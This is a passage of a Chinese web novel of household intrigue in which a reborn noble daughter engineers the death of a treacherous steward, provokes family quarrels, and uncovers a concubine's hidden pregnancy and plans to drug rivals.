眼下唯一的解释,就是谢明安为了嫁妆娶了母亲,害死母亲不够,还想吞下母亲留给她的钱财! “今日之事——” 谢窈只是说了前四个字,王管事已经咣咣磕头:“今日之事,小人绝不敢透露出去,求您看在小人还算听话的份上,饶小人一条贱命吧。” 见谢窈不语,他狠下心来。 “若大人日后有用得着小人的地方,小人可以出面作证,揭发文昌伯的恶行!” 原本,王管事对谢明安还算忠心,但那日,他被二小姐弄断了腿,谢明安不但不救治他,还罚了他半年月钱! 之后更是对他不闻不问,没叫人看过一次。 多年来忠心耿耿,有什么用? 而且,御鹰司的探子都潜入伯府调查谢家了,说不定谢家要完了,他更得为自己寻个出路。 谢窈看着王管事,眼眸低垂,似乎是在考虑他说的话。 半晌,她开口了:“杀你,岂不是打草惊蛇?” 王管事蓦地松了口气:“多谢大人!” 御鹰司说出这句话,就代表自己不会死了。 “你今日所言,若有半句虚言,我御鹰司自然有千百种方式,让你求生不得,求死不能。”谢窈语气透着威胁。 “小人绝不敢欺瞒大人!” 王管事听到这话,心中更是放心许多。 他又要赌咒发誓,谢窈却说:“口说无凭,我可没有我同僚那么好糊弄。” “大人想要如何?” 谢窈指尖敲了敲桌案:“写三份供状,把你方才所言的桩桩件件都写清楚,签字画押。” “小人遵命,”王管事连连点头,忍不住又问,“不过,为何要写三份?” 谢窈语气轻松,一字一顿:“自然是为了你的命啊。” 她像是办好了事情的御鹰司探子一般,懒洋洋地解释: “一份,我呈上去邀功,一份,御鹰司留作案底,第三份你自己收好,以后需要你指正时,也算你的功劳,若上面的内容变了,那……” 她顿了顿,声音淬着阴森杀意:“我就只能拿你的项上人头,当罪证呈上去。” “小人明白了。”王管事吓到浑身颤抖。 无论如何,这位御鹰司大人只是查案,事后还有用得着他的地方,给他留了一条活路。 他战战兢兢地奋笔书写。 谢窈就这么站在他面前,盯着他,给了他极大的压力。 王管事越写越快,越写越熟练,越写越狠,恨不得在供状上怒骂谢明安祖宗十八代。 最后,他咬破了自己的手指画押。 不到三盏茶的功夫,王管事就写完三封一模一样的供书。 谢窈看了看,将其中两封收好。 在王管事紧张的眼神中,她转身离去。 直到谢窈彻底消失在夜色中,王管事才浑身一软,瘫倒在地上,大口大口地喘起粗气。 “得救了……” 他低声喃喃,手忙脚乱地将自己那份供状藏好。 这可是他保命的东西,不能有任何闪失。 谢窈怀揣着两封供状,身影在黑夜里穿梭。 脑海中,回想起箫熠之对她说的话。 ——“庆才不仅仅是皇上的宣旨太监,还是御鹰司副司使,谢二小姐之前在庆才面前做得很对。” 正是这句话,让她意识到,宣旨那日,自己胡乱恶心谢明安,说他拿出的赏银是贪墨民脂民膏,这句话,被庆才暗暗记下了。 或许,原本赏银过多,谢明安用许家颇有钱财做借口,庆才相信这个理由。 但此一时彼一时,谢窈是皇上赐婚的靖北王妃,谢家成了靖北王的亲家。 皇上赐婚选中谢家,本就是看谢明安无太多实权,现在谢家忽然暴露出一些让人意外的事,自然要调查清楚。 皇上当然不愿意自己挑选了半天,最后给靖北王选出个强大的助力。 因为箫熠之的提醒,所以她看见王管事下跪后,立即想到御鹰司。 她将计就计,假借御鹰司的身份,探到了王管事的底细。 至于事后,这件事会不会暴露…… 且不说御鹰司查谢家,本就是浅尝辄止,如果只查到行贿这点事,不会论罪。 她相信,有人会给她抹去所有踪迹的。 谢窈停下脚步,取出其中一封供状。 她面前,是谢老夫人的院子。 这院子和谢明安的书斋不同,三更半夜的,院外并无家丁。 谢老夫人的外屋门口守着两名丫鬟,此刻已经睡死过去。 谢窈直接从外面打开窗户,翻身进去。 她绕过屋里守夜的老嬷嬷,将王管事的供状,丢到谢老夫人的桌案上。 随即,谢窈转身离开。 她跟王管事说:杀他,会打草惊蛇。 还告诉他,写三份供状,是为了他的命。 巧了,她不怕打草惊蛇。 她要的,就是他的命! 王管事无辜吗? 前世,他带人杀了自己,只是听从谢明安或孙姨娘的命令行事。 如今什么事都还没有发生,他已经跪地求饶,还愿意指认谢明安曾经行贿。 他似乎很无辜,不该死。 但是,谢窈不想考虑这些。 她只是要他死,而已。 第32章 报仇一刀之恨,舅舅也发力 第二天,谢老夫人醒来后,正要唤下人梳洗,就看见了自己桌案上的供状。 她疑惑地拿起来,待看清上面的内容,面色骤变。 “来人,来人啊!” 谢老夫人惊慌失措地喊起来。 “老夫人有何吩咐?” 谢老夫人脸色阴沉地问:“你们,你们昨夜有没有看见谁,进了老身的房间!” 守夜的丫鬟婆子全都摇头。 发现她们对此一无所知后,谢老夫人彻底慌了神。 怎会有人能神不知鬼不觉地潜进了自己屋子,还留下了这封信? “快去叫我儿……快去叫我儿明安!快,快啊!” 她急忙招呼身边的丫鬟。 而这一幕,被路过去静竹轩给追墨喂食的谢窈看在眼里。 她这祖母这么害怕,可千万别被吓死了。 很快,刚下朝的文昌伯,还没歇上一口气,便被人火急火燎地请来:“母亲到底有什么事如此着急,非要儿子下了朝,还没吃口饭就来。” 谢老夫人把供状交到他手中:“你看看吧,这个吃里扒外的东西。” 谢明安随意一扫,一下子瞳仁颤动。 看到供状最后的落款,他愣了片刻,才想起来,这是王管事的名字。 “好一个卖主求荣的鼠辈!”谢明安咬牙切齿,“本伯养了他这么多年,平日也待他不薄,他竟敢背叛污蔑本伯。” 谢老夫人看着自己儿子,老神在在。 是不是污蔑的先不说,她儿子能别让她一把年纪受到惊吓吗。 定了定神,谢明安才问谢老夫人:“母亲,你这封信从何而来?” 谢老夫人摇了摇头,心有余悸地将自己一清早就看见这信,出现在自己房间的事说出来。 谢明安并没有过于惊讶。 他低下头,思忖了一会儿,阴沉地开口:“此事就交给儿子解决吧,母亲不用担心。” 之后,他派了人,趁王管事不在,从王管事屋内搜出了一封一模一样的供状。 没两天,七两回到伯府,在晚香院做起小厮。 他是二小姐重新买回来的,改了名字,且只是做晚香院的采买等事,伯府其他人也只能睁一只眼闭一只眼,当看不见。 这日,桑若来给谢窈送饭时说,王管事死了。 “说来也怪,王管事之前被二小姐打断一条腿,非要大冷天去池塘捞鱼,说伯爷就喜欢吃他做的鱼,结果失足掉进了水里,被人发现的时候,人都……啧……” 桑若说道,语气不加掩饰的幸灾乐祸。 谢窈眯起眸子,呵呵一笑,甚至懒得装出意外的模样。 自从谢窈给许素素寻来平肺膏,桑若也不装了,成了她身边的半个丫鬟。 她又说,王管事以前看母亲不受文昌伯宠爱,又常年多病,住在冷僻的静竹轩,所以经常克扣静竹轩的东西,还欺负过静竹轩的丫鬟。 听到这话,谢窈眼底涌出一抹戾气。 等到桑若走后,她独自一人在房间里,一遍遍在心里告诉自己: 王管事死了,没法再死一次。 池塘的水再冷,也比不上她被刺入心口的那一刀痛苦。 这一刀之恨,她今日报了。 至于王管事到底是谁杀的,自然是她那位道貌岸然的好父亲。 从王管事屋里搜出那封供状,他更是气疯了吧。 谢明安不但替她杀了王管事,还会把一切都处理得干干净净,伪造成一场意外。 毕竟,那日她可是亲眼看见,她的祖母惊慌失措地请来谢明安。 王管事所知道的,已经写在了供状上。 留他一命,固然以后能让他站出来揭发谢明安,但是,他死了,她更痛快。 何况,只有打草惊蛇,才能抓到这条蛇。 她在心里说道: 谢明安,还没结束。 她会一点一点,一样一样,把谢家欠自己的都讨回来。 这时,一道风风火火的身影闯进晚香院。 “姐姐,今日学塾放课早,我和同窗们去南街买笔墨时,看见了舅舅。” 谢宴一进门就大着嗓门喊。 谢窈蹙眉道:“你来晚香院,先去跟母亲请安了吗?” 谢宴挠了挠头,一脸无奈:“我去母亲房门口,还没进去就被丫鬟拦住了,母亲说我聒噪。” 谢窈道:“确实聒噪。” 谢宴仅仅沉默了一个呼吸,就又滔滔不绝:“舅舅,不,许家居然开了一家医馆,就开在经常来咱们伯府给父亲母亲瞧病的济安堂旁边,同时也卖药,叫胜济堂,才开业两天,里面人满为患。” 谢窈听到舅舅给医馆取了个“胜济堂”的名字,不禁勾了勾唇角。 不愧是舅舅。 胜济堂这名字,还就开在济安堂隔壁,济安堂能坐得住才怪。 她道:“医馆人满为患,可不是什么好事。” 谢宴解释:“因为胜济堂的药便宜啊,同样的药材,胜济堂只要济安堂一半价格,还请了几位京城有名的大夫坐堂,所以以前去济安堂的病人,现在都去了胜济堂!” “不过,你说舅舅这图什么啊,他请那几名大夫也不便宜,收的药钱又低,长此以往还怎么赚钱?” 谢窈听到谢宴这句话,猜到了舅舅许知行要做什么。 他在欲擒故纵,请君入瓮。 谢窈敲了敲谢宴的脑袋:“比赚钱,你比得过舅舅吗?” “比不过。” “那你说什么。别管。” 谢宴又絮絮叨叨说了自己在学塾的事,不肯走。 终于,他压低声音:“姐姐,今日陆慎言来找我了。” 谢窈面色不变,唇角扬起一抹冷笑。 差点忘了这孙子。 “哦?他跟你说什么了?”她问。 谢宴恶劣一笑:“无非就是打听姐姐待嫁的情况,问我姐姐是否甘愿嫁给靖北王,我已经跟他说了,让他滚一边去,咱们谢家不是他能高攀的。” “做得好,下次他如果再来问你……” 谢宴笑得愈发真诚,还有一丝傻气:“我自然是不理会。” 若还有下次,他就把陆慎言介绍给谢枝吧。 谢枝这些年对他也不错,他姐姐不要的,刚好可以给她。 第二日一早,谢家二房忽然派人来到晚香院。 说是谢窈的堂兄休沐回府,一家人吃顿饭。 母亲那边说自己身体不适,就不出门了,谢窈则点了头。 吃饭嘛,她是没问题的。 鸿门宴也好吃不是。 等到正午之时,二房又差人前来,说谢窈的堂兄回府了,他们兄妹俩多年不见,可以去伯府门口见面。 谢窈慵懒地坐在椅子上,试着长刀的刀锋,看都不看传信丫鬟。 丫鬟催促:“二小姐,成榆少爷可是您的亲堂兄,好不容易回府一趟,您怎能不去迎他?” 谢窈问:“我是文昌伯嫡女,更是靖北王的正妻王妃,堂兄是多大的脸,要我去迎他?” 第33章 堂兄刁难,坐山观虎斗 谢家没有分家,二爷谢明守,也就是谢窈二叔,是老伯爷的庶子。 在朝中,谢二叔担任七品的兵部主事,在谢家,他一直仰仗大哥谢明安鼻息,为大哥马首是瞻,是个低调得不能再低调的人。 不过,他的长子谢成榆,却年纪轻轻,就担任京畿大营的正六品校尉。 谢家世代从文,谢成榆是唯一一个军中任职的人。 跟京城那些整日斗鸡遛狗的年轻官宦子弟比较,他已经称得上是栋梁之才,更是碾压文昌伯嫡子一大头。 所以,得知谢成榆回府,一直唯唯诺诺的谢家二房,忽然就嚣张了起来,颇有扬眉吐气,在谢窈面前炫耀的意思。 二房屡次请谢窈去见谢成榆,也是想借她的身份,抬高谢成榆的名声地位。 谢窈只要去门口见谢成榆了,传出去,旁人只知道谢家大少爷文韬武略,体面到让靖北王的准王妃亲自迎接,成全谢成榆的名声。 她自然不会去。 丫鬟见谢窈实在请不动,跺了跺脚,无可奈何地走了。 直到午膳时辰,谢成榆已经入府,这次,他前两年刚娶进门的妻子韩氏亲自前来。 “窈儿妹子,咱们都是一家人,好不容易团聚,你大哥也多年没见过你了,还望你赏脸,过去吃顿团圆饭。” 韩氏容貌平平,说话十分谦和,眼底藏着一丝不悦。 她本来不想来,虽然谢窈是自家夫君的嫡亲堂妹,以后是靖北王妃,但她求不着谢窈什么,也就没心思结交讨好。 也不知夫君到底怎么想的,非要她亲自来请。 谢窈看见韩氏,这才起身:“堂嫂都这么说了,我自然是要去的。” 很快,两人来到饭厅。 堂兄谢成榆生得相貌堂堂,一身鎏金甲胄,坐如端钟,丰神俊朗。 他没到自己父亲跟前,而是坐在自己大伯谢明安旁边。 看见谢窈提刀出现,谢成榆顿时皱起眉头,高声道:“还有没有体统,这是好不容易的家宴,你怎能携带兵器?” 谢成榆与谢宴已经九年未见,一开口,就是冷声责备。 谢枝坐于他右手边,身着浅粉襦裙,清秀俏丽。 她轻轻地扯了扯谢成榆衣袖,打圆场:“大哥,不怪二妹妹,她刚回京,不懂京中礼数也情有可原。” 果然,和前世一样,谢枝早已在谢成榆面前诉苦,说谢窈占了她屋子。 所以谢成榆上来就摆出堂兄身份一阵训斥,她忍不住反驳几句,谢枝却替她求情,假装和她姐妹情深。 之后,京城人都知道谢家庶女温婉宽厚,明明被妹妹抢了屋子受气,还不计前嫌地替妹妹求情。 反倒是谢窈不但粗野,还不敬兄长,骄横无状,没有容人之量。 谢成榆见谢窈不语,又看向韩氏:“让你找她来用饭,这么慢,叫全家等她一个?她自幼在乡野边境长大,不懂规矩,你也不知教她分寸吗?” 韩氏一愣,顾及着谢家人都在,低下头道:“是我的错,夫君不要生气。” 谢窈眯起眸子:“既然是一家子的家宴,堂兄又为何披甲入席?” 大燕以武立国,对武人宽容尊崇。 北境,大将军率领二十万边军对峙敌国,镇守边关;西南,是靖北王昔日麾下的十万靖北铁骑饮马荒漠,震慑西戎。 而京城外,则驻守着五万京畿大营,守护京城。 所以平日里,谢成榆恨不得京畿营校尉这个职位写在脸上,走到哪,都身穿京畿营衣甲。 “还敢顶嘴?”谢成榆面容冷峻,“我乃京畿营六品校尉,这是京畿营甲胄,我穿了又如何!” 谢窈挑起眉头:“我同样是大燕将士,携刀又如何?” 谢成榆脱口而出:“荒唐!本校尉是男子,你不过一介健妇营女流,怎么能跟我比!” 谢窈看向自己二叔——谢成榆的爹。 “二叔,听见了吗,你儿子瞧不起健妇营。” 在场的谢家人,除了谢成榆,听到这句熟悉的话,都露出牙疼的表情。 二叔讪笑道:“成榆,窈儿是你嫡亲的堂妹,一家人和和气气吃饭,不要动怒。” 又对谢窈说:“窈儿,成榆不是那个意思。” “哦,什么意思,二叔你说给我听听?”谢窈露出“虚心请教”的神情。 二叔尴尬地呵呵了两声:“成榆……他是担心你,你身为女子,佩刀伤了自己怎么办?” 谢成榆却不在意自己父亲,仍旧满脸怒容:“她还当自己是谢家人吗,她眼里还有谢家吗?怕不是已经把自己当成靖北王妃,攀上靖北王,连祖宗姓什么都忘了!” 谢窈见他阴沉恼怒,看向韩氏。 堂嫂韩氏,是兵部韩侍郎的胞妹。 谢成榆娶了韩氏之后,被安排进了京畿大营。 他靠妻子上位,所以,见到自己要嫁给一人之下万人之上的靖北王,才会如此失态。 她随意夹起桌上的饭菜,边吃,边不紧不慢地问:“所以,堂兄就是瞧不起健妇营。” 谢成榆额头暴起青筋:“别以为你扯出什么劳什子健妇营来,本校尉就会怕了,在谢家,我永远都是你大哥,今日我要好好管教管教你!” 谢窈目光落到谢明安身上。 她爹似乎之前折腾得太多,短时间内不敢再折腾了,此刻还是看戏的状态。 谢窈当然不会让谢明安就这么坐着,看侄子替他说心里话。 坐山观虎斗的人,只能有她一个。 “有其子必有其父,看来二叔也看不起健妇营;有其侄必有其伯,看来父亲和伯府也看不起健妇营,”她弯眸道,“对了,原来堂兄才是文昌伯府的主人,还能替父亲管我。” 谢明安和谢明守兄弟俩听到这话,尤其是后半句话,同时变了脸色。 之前的如果是两个孩子争嘴,现在,谢窈扯到伯府,又说谢成榆成了伯府之主,性质就不一样了。 二叔向他使眼色:“你这孩子是吃醉了酒吗,怎么在说胡话。” 谢明安更是勃然大怒:“混账东西,谢窈再怎么也是本伯嫡女,是你嫡亲的堂妹,健妇营更是劳苦功高,你对健妇营不敬,是要污我伯府清誉吗!” 谢明安最在乎的,除了名声仕途,就是他文昌伯的地位。 哪怕谢窈之前嚣张跋扈,他也忍了。 所以,他决不能坐视侄子瞧不起健妇营,传出去牵扯到自己。 他更不允许,侄子在谢家的威望胜过他! 谢成榆:“健妇营不就是一群女人吗,手不能提肩不能挑,打仗时难道指望她们八百人上战场?大燕雄踞天下,靠的是我们燕国男儿,父亲与大伯何必如此怕——” “闭嘴!你还不知错!”谢明安猛拍桌子,“是不是觉得自己当上了京畿营的校尉,就能在伯府说的算了?” 说着,他一脚踹过去。 谢成榆不敢躲,生生挨了一脚。 还好他穿着甲胄,不算疼。 没想到大伯如此不给自己留颜面,都是谢窈这个贱人…… 他跪到地上,低垂的双目很冷:“大伯息怒。” 谢明安又要再踹,这次,孙姨娘适时地拉住他:“伯爷息怒,当心气坏身子。” 她本来也想低调些,看见伯爷为二房家动怒,心中更是高兴。 毕竟,谢家二房一直比大房人丁繁茂,是伯爷心里的一根刺。 但自己有孕后,就不一样了。 不过,她还得劝,谁让她平日里待人和善,还和二房夫人表面亲如姐妹呢。 二叔不敢替谢成榆求情,他在伯府全靠儿子和大哥,若大哥对他儿子下手,他只能忍着。 二叔母也只能心疼地看着儿子,面色不怎么好。 她明明是二房正妻,地位却比孙姨娘这个妾室还低,就因为她丈夫是个庶子,他们一家人,都只能仰仗大房脸色过活。 “爹爹莫要动气,大哥只是一时口误,绝无忤逆您的意思。”只有谢枝,敢在这时候出言劝说。 她又弯腰搀扶谢成榆:“大哥,姐姐就是这样火爆的脾气,你别和她生气。” 谢成榆红了眼睛,感叹道:“枝枝,你是这样好的性子,是大哥有错,让你受委屈了。” 第34章 堂嫂怀疑,渣男贼心不死 谢枝摇了摇头:“枝枝不委屈,枝枝都习惯了,大哥不要再和二妹妹置气了,我们都是一家人。” “二妹妹,大哥也不是有心的,你不要多想。” 她又想上前拉住谢窈的手,被谢窈躲了过去,面色一白。 谢成榆沉沉地盯着谢窈,眼神如刀:“都怪我不好,连个妹妹都管教不了。” 随即,他五体投地地跪下去:“大伯,成榆错了,以后一定谨言慎行,不敢再犯。” 谢明安黑着脸反问:“只是错了?” 他只好又说:“窈儿妹妹,大哥是个粗人,语气不好,你多担待。” 谢明安见侄子居然装傻,不提越俎代庖替他管教女儿之事,还对谢窈这个逆女认错,顿时声音更冷:“滚去祠堂,跪一晚上反省。” 谢二叔夫妇俩终于打算求情,话却被谢明安堵了回去。 “这谢家,究竟是谁做主?文昌伯府,究竟谁是文昌伯?” “自然是大哥您。”二叔连忙称是,低下了头。 二叔母瞪了二叔一眼,似乎不满他这么怂,却也说:“大哥教训得对,我们都记住了。” 谢枝又轻声细语地安抚起来。 对于庶女此举,谢明安倒没有什么不满。 掌家之道,在于平衡。 都怪谢宴那逆子不争气,被谢成榆稳稳压了一头,让二房这两年越发得意,都快分不清谁才是伯府之主了。 如今,他责罚谢成榆以作警告,他女儿再安慰二房一家,这才叫张弛有度。 谢窈本来饶有兴趣地看戏,吃饭。 见谢成榆这么快认错了,再看谢枝泫然若泣的样子,她忽然停下筷子。 “有点倒胃口,吃不下了。”谢窈作势要站起身。 谢成榆听到这话,差点又暴起。 但是,他想到了一件别人求他的事,只能按捺下怒火。 “大伯,恕成榆还有公务在身,先行离开。”谢成榆朝着谢伯爷拱手。 “至于罚跪,成榆忙完公事,立即就去祠堂跪拜列祖列宗,反省自身。” “滚吧。”谢明安挥手道。 谢枝小声道:“父亲,枝枝很久没见到大哥了,我去看看他。” 说完,她就小碎步追上了自己堂兄。 谢窈目送着两人离开,眼神闪了闪,这才重新入座,继续吃起来。 谢明安还没吃一口菜,发现这逆女已经把一桌饭菜吃遍了! 没等他再生气,谢窈抬起头,她开口:“都看我干嘛,是看不起……” 众人连忙低头。 有谢窈在饭桌上,谢家其他人都浑身不自在,生怕她又爆出一句:你是不是看不起健妇营,看不起健妇营就是看不起长公主,看不起陛下,我要面圣把你们都告了。 谢明安等人吃不下去,随便扒拉了两口,都匆匆离去。 只有韩氏还在担心受罚的谢成榆,一时之间心乱如麻,留到了最后。 她努力定神,正要动筷—— 就听谢窈说:“堂兄真是呵护大姐姐。” 韩氏也不是傻子,闻言,骤然攥紧了筷子。 其实有时候,她也酸过,觉得自己夫君和谢枝关系太亲近了,不过,她会安慰自己,她从前还未出嫁时,和自己兄长也兄妹情深。 在谢窈面前,韩氏故作镇定:“窈儿妹妹说笑了,夫君是家中大哥,身下一串弟弟,就枝枝和你两个妹妹,自然是要捧在手心呵护。” 谢窈:“哦哦,这样啊,是我想多了。” 等韩氏好不容易平复了心情,她又问:“我常年在外,没有堂嫂和大姐姐朝夕相处来得亲近,堂姐可知大姐姐如此年纪,还未说亲,她有什么心仪之人吗?” 谢枝已经十九岁了,在燕国,这个年龄还未说亲,虽然并无不可,但算是少见。 韩氏脸上的笑容,变得勉强起来。 谢枝一直未曾说亲,又和谢成榆这个堂兄走得很近,确实不能让人细想。 谢窈仍旧一脸真诚:“对了,堂兄与堂嫂也成亲两年了,怎么堂嫂还没孩子?” “怎么?” “我舅舅前些日子,在京中开了一家医馆,或许可以为堂嫂解惑。” “我没问题!”韩氏立即说道,意识到自己话语过激,她又补充,“夫君常年在军营居住,我们虽然分隔两地,还是相敬如宾的。” 谢窈点点头,最后道:“堂兄好不容易回府一趟,也是第一时间去看望了大姐姐,堂兄堂嫂确实相敬如宾,让我钦佩。” 韩氏再也坐不住,猛地站起身,匆匆跑了出去。 她要去找谢成榆问清楚,问不清楚就看清楚,看她的夫君,是不是真的对谢枝那个狐媚子庶女起了心思! 谢窈看着堂嫂离开,眼神渐渐幽深。 眼下,满汉全席,只剩下她一个人独尝。 谢窈吃饱后又打包了一些,这才拎着刀,不紧不慢地走回晚香院。 快一个时辰,应该够堂兄做事了吧。 谢窈回到屋里,在自己床头看见了一封信。 上面书写四个墨字:窈儿亲启。 这是陆慎言的字。 她果然没有猜错,前世送信的人,就是谢成榆。 前世,谢窈去门口迎堂兄,堂兄却晚了一会儿才来,等她回去后,床头就多了一封信。 当时陆慎言前来求娶她,谢明安不太愿意。 陆家无权无势,只是寒门,陆慎言也是一介白身。 谢明安心里计划着,就是谢窈嫁不成靖北王,也应该嫁给门当户对的男子,最好对他的仕途有益。 两家还在僵持,谢窈收到了那封信。 陆慎言邀请她去花楼品茶。 她去了,也确实和陆慎言品茶了,却被谢枝和谢成榆撞见! 谢成榆身为她的堂兄,怒斥她还未出阁就不知廉耻,竟敢偷偷出府,与男子私会。 谢枝在旁边唉声叹气地求情,引来许多百姓围观。 于是,谢窈名声更差。 谢明安这才答应了陆慎言的求娶,甚至没要什么聘礼,就急匆匆地与陆家定亲,将她嫁了出去。 下午时候,谢宴说陆慎言来试探他。 谢窈就知道了,陆慎言贼心不死,求谢宴失败后,一定会去找堂兄谢成榆。 堂兄曾经和陆慎言同在谢家学塾,他也算有些身手,这才能趁她离开屋子吃饭的时候,留下这封信。 怕谢窈不吃了,他甚至忍下怒火,中途离开。 谢窈冷笑,捏起陆慎言的信,看都不看,扬手丢进炭盆。 火舌迅速攀起,顷刻间将信纸化为灰烬。 陆慎言想要她赴约,只要被人看见他们同行,就会传出流言。 他还会找谢成榆做见证。 到时候,他是风流才子,自己名声尽毁,他再毫不嫌弃地娶她,说不定能成全一段佳话。 不过,陆慎言也不怕…… 玩火自焚吗! 第35章 棋局开启,孙姨娘的顾虑 陆慎言想毁了她的名声,而她的堂兄谢成榆,是帮凶。 谢窈眯起眸子,看着跳动火苗的炭火,神情静默。 她叫来七两。 “二小姐有何吩咐?”七两恭敬地问。 谢窈让他明日出府,暗中去找陆慎言。 “告诉他,后日午时,我与他云鹤楼一叙。” 不用看,她也知道陆慎言在信中是邀她去花楼品茶,而她,却将地点从花楼改成了云鹤酒楼。 谢窈又取出笔墨,写了一封简短的亲笔信。 等墨迹稍干,她把信交给七两:“再将这封信送到许氏钱庄,见到我舅舅许知行后,让他带你到胜济堂取一瓶平肺膏回来。” 这样一来,事后若陆慎言指认,七两出府的理由也有了。 至于信的内容,是叮嘱舅舅,药铺不止是看病抓药,还要做好医案与别的细节。 胜济堂现在如日中天,容易遭人记恨,尤其是济安堂这种本就有问题的对家。 狗急尚会跳墙,即便舅舅是想请君入瓮,也要提防对方的阴损手段。 七两不问缘由,立即应下。 傍晚时,二房夫人来谢老夫人的暖房,送来一身新做的貂裘。 “母亲,都说这西南貂裘,黄金百两一匹貂,您穿上,可显得格外精神呢。”二夫人夸起来。 谢老夫人笑道:“二房家的,你有心了。” 二夫人这才跪下:“母亲,成榆还小,说话没分寸,他已经知道错了,求您就免了他去祠堂罚跪吧。” 她抹眼泪:“天这么冷,祠堂连个炭火都没有,成榆还是个孩子,他怎么受得了,他是您的亲孙子啊。” 谢老夫人抚摸着身上华贵柔软的貂裘,有些犹豫。 自己要是拒绝,这貂裘是不是得还回去? 二房虽然是庶子,但谢成榆是府里小一辈中最出色的,到底也不是什么大错,何至于去祠堂跪一晚。 不过,二房也确实不懂事,成榆的性子,是该磨炼磨炼。 孙姨娘服侍在谢老夫人身旁,低头,盯着自己还平坦的小腹,眼神冷了冷。 她想起伯爷经常在自己耳边说,二房一家是不安分的。 谢成榆出色,身下还有两个弟弟,谢宴要是一直废材下去,等他百年后,不知道伯府的爵位会给谁呢。 她一直瞒着自己有孕的事,也是担心有人对她的孩子不利。 不过,只要这胎是男孩,那伯爷一定会高兴的。 二房夫人又要哭诉,谢老夫人听着头疼,便沉吟道:“成榆这孩子,打小就懂事,又争气,改日他还得回营领兵呢,要是生病了,老身也心疼……” “罢了,给他备上炭火,跪一个时辰便回去吧。” “那伯爷那边?” “这貂裘还有料子吗?等明安气消了,让成榆给他大伯送上一身。” “是,儿媳明白。”二房夫人磕了头,欢喜地告辞。 孙姨娘继续伺候着谢老夫人喝药,腹诽:有二十多的孩子吗?谢成榆身体健壮如牛,又是军中将士,跪一晚能生病才怪。 至于老太太还会心疼?之前谢窈被罚跪三天,可没见她说半句话。 他们谢家人,是一个比一个心狠,还好她有伯爷…… 之后,谢成榆来到祠堂,给谢家祖宗上香。 说好的一个时辰也没跪,拜了拜,他就自行离开了。 桑若告诉谢窈,忍冬听到,顿时怒火骤起。 “凭什么二小姐之前被罚跪三天,轮到谢成榆就什么事都没了?” “还有,就一晚上能生什么病?我们二小姐跪三天,怎么不见谢老夫人心疼!” 桑若道:“虽说二爷是庶出,但谢成榆是嫡子,也是远近闻名的谢家大少爷,年纪轻轻就做到军中校尉,他不想跪,旁人能说什么?” 谢窈神情没有任何变化,只是安抚忍冬:“我自幼不得祖母喜爱,在她心里,当然比不上谢成榆这个孙子。” 忍冬还是不高兴:“奴婢就是替二小姐不值,一个小小的军中校尉……下次二小姐把他揍一顿,看他还敢不敢这么嚣张!” “好,下次我一定揍他。”谢窈笑着点头。 她早就猜到谢成榆不会有事,所以并不生气。 棋局已开,未到一击致命的时候,就要落子无悔,静静等待。 “忍冬,你信报应吗?”谢窈问。 忍冬摇头:“奴婢不太信,要是真有报应,我娘从前治病行医,救了那么多人,为何落得那样的下场……” 忍冬吸了吸鼻子,不说话了。 谢窈抚摸她的头发:“我也不信,我信的是——” “报复。” 事在人为,她不信报应,她会报复。 次日一早,七两就按照吩咐,去找陆慎言了。 等到日上三竿,谢窈到马厩牵上青骢马,带忍冬出了府。 门房又要询问理由,她拿出萧老夫人送的玉牌晃了晃:“萧家老夫人将萧家玉牌赐给我,即便是在靖北王府我都出入自由,现在去哪,还要告诉你不成?” “二小姐请,二小姐再见,二小姐早些回来——” 门房打开正门。 就在她们要离开伯府的时候,一辆马车,从偏门进入谢家。 谢窈问:“谁在里面?” 门房看了一眼:“济安堂的大夫嘛,又来给伯爷把脉呗。” 马车进门后就停下来,先出来的是个背着药箱的中年男子,随后,一名身体佝偻,留着胡须的老者走出来。 老者似乎不想被人认出身份,只迅速瞥了谢窈一眼,就匆匆离去。 中年男子是经常前来伯府把脉的大夫,但胡须老者,她却十分陌生。 直到忍冬说道:“是孙正。” 孙正? 那不就是尚药局的尚药令,孙姨娘的父亲? 谢窈并不怀疑忍冬会认错,她是当年林御医的女儿兼女徒弟,对尚药局的人最为熟悉。 “看来咱们这位孙姨娘,也着急了。”谢窈意味深长地说。 这下,忍冬再也不说二小姐的猜测没有证据。 孙正这个人,是妇人科出身的御医,早年因为帮太后平安生下安平侯而受到重用,又护持宫里的颖妃诞下皇上唯一的公主,所以坐到了尚药令这个位置。 他现在来到谢家,只会是一个原因——孙姨娘有了身孕。 就像忍冬想的那样,进府后,孙药令让随行的济安堂大夫去谢伯爷书斋,自己则去见了女儿。 “馨兰见过父亲大人!”孙姨娘行礼。 孙药令连忙扶住她:“使不得,使不得,你现在是有身子的人,跟我这半截入土的老头子行什么礼。” 仅仅一个搀扶,他就感受到了女儿的身体,开口道:“快两个月了吧。” 孙姨娘点头:“是啊,就快藏不住了,所以才传信给父亲,请父亲前来看看。” 孙药令想到自己进府后一路的见闻: “你啊你,也不知在怕什么,这些年,你在伯府虽然只是个妾室,但府中大小事务,都是你说的算吧?既然有了,就大方说出来,难道还有人敢害你?” 孙姨娘叹道:“眼下伯府正是多事之秋,二房嫡子比谢宴那小纨绔争气,二房要是知道我有了,不知会不会暗中生出是非。” 孙药令并不在意:“前几日你不是托人,跟我要了曼陀散吗。” “最近谢家的二小姐那么闹腾,甭管是她还是二房,给他们用上,保证他们都没力气折腾了,也瞧不出任何病症。” 第36章 下军令,堂兄庶姐蛇鼠一窝! 孙姨娘却摇头:“曼陀散的事,还要从长计议。” “至于谢窈那丫头,鬼机灵,女儿觉得暂且瞒着些好,等这胎坐稳了,也能给伯爷一个惊喜。”她的眼神无比深沉。 孙姨娘没有跟她爹说的是,比起二房,比起不安分的谢窈,她更怕自己生下女儿,让伯爷空欢喜一场。 所以她今日,才要把老父亲请来。 提到谢窈,孙药令的脸色有些难看。 “这些日子,你兄长那医馆开得十分难过,许家不知道发了哪门子邪风,一心要斗垮济安堂。你们伯府的夫人,就是许家人吧,这个毒妇!” 许家新开的胜济堂,最近和济安堂医馆斗法的事,在京中人尽皆知。 “这事女儿也有所耳闻。”孙姨娘道。 “医馆是生意,做生意的事儿,我这小女子也不太懂,总归是无奸不成商,他们便宜,我们也便宜,再找些买了隔壁假药的人去闹一闹,虽说许家有钱,但毕竟没有医馆根基,生意一冷清,也就开不下去了。” 孙药令捻了捻胡须:“你倒是跟着文昌伯,学了不少东西。” 孙姨娘伸出手腕:“父亲先来为女儿把脉吧。” 片刻后,孙药令脸上显露出笑容。 “成了。” 孙姨娘瞳孔震动:“真是男孩儿?父亲别骗我!” 孙药令:“你不信别人,还不信老夫?这胎九成九的男儿,馨兰,你再使使劲,未必不能做文昌伯的正妻!” 孙姨娘的呼吸一下子粗重起来。 